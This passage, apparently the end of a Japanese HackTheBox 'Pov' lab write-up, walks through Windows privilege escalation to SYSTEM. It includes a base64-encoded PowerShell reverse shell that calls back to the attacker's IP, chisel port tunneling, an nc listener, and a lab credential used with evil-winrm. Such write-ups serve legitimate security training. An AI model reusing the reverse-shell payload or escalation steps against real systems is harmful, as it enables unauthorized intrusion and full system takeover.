PS C:\Users\Public\Downloads> .\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(552, "c:\Windows\System32\cmd.exe", "/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOAAiACwAMgAxADIAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=")
[+] Got Handle for ppid: 552
[+] Updated proc attribute list
[+] Starting c:\Windows\System32\cmd.exe...True - pid: 1072 - Last error: 122

エラーが出力されてしまいました。。できればエラーが出てほしくなかったですが、このエラーを解消する必要があります。
エラーが出力される原因はシェルプロセスにあるので、chiselで5985番ポートをトンネリングし、evil-winrmで接続しなおします。

-- kali
+[/opt]
(σ▰>∇<)σ<10.10.14.8>$ /opt/too1s-l1nux/chisel server -p 9999 --reverse

-- target
C:\Users\Public\Downloads>.\chisel.exe client 10.10.14.8:9999 R:5985:127.0.0.1:5985

ポート転送に成功したら、evil-winrmで接続しましょう。

+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ evil-winrm -i 127.0.0.1 -u alaading -p 'f8gQ8fynP44ek1m3'
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\alaading\Documents> whoami
pov\alaading

接続できたら、もう一度psgetsys.ps1を実行しましょう

*Evil-WinRM* PS C:\Users\alaading\Downloads> .\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(552, "c:\Windows\System32\cmd.exe", "/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOAAiACwAMgAxADIAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=")

特にエラーは出力されていません。待ち受けを確認しましょう。

+[/opt]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2123
listening on [any] 2123 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.251] 49702

PS C:\Windows\system32> whoami
nt authority\system

権限昇格に成功しました~!

PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name   
----                -------------         ------ ----   
-ar---         6/9/2024   1:22 AM             34 root.txt 

ルートフラグも取得できました!完全攻略達成です!

攻略を終えて

今回のマシンはMediumにしてはかなり簡単だったかなと思います。というのも横移動からすべてインターネット上にまとまっている手法だったので、初見でも解きやすかったのではないでしょうか。私自身も知っている手法だったので、迷わずにサクサク攻略できました。
また、初期侵入時のLFIとRCEも脆弱性に気づきやすい感じでした。Windowsへの練習としてかなりおススメできるマシンだと思います。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました~!

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0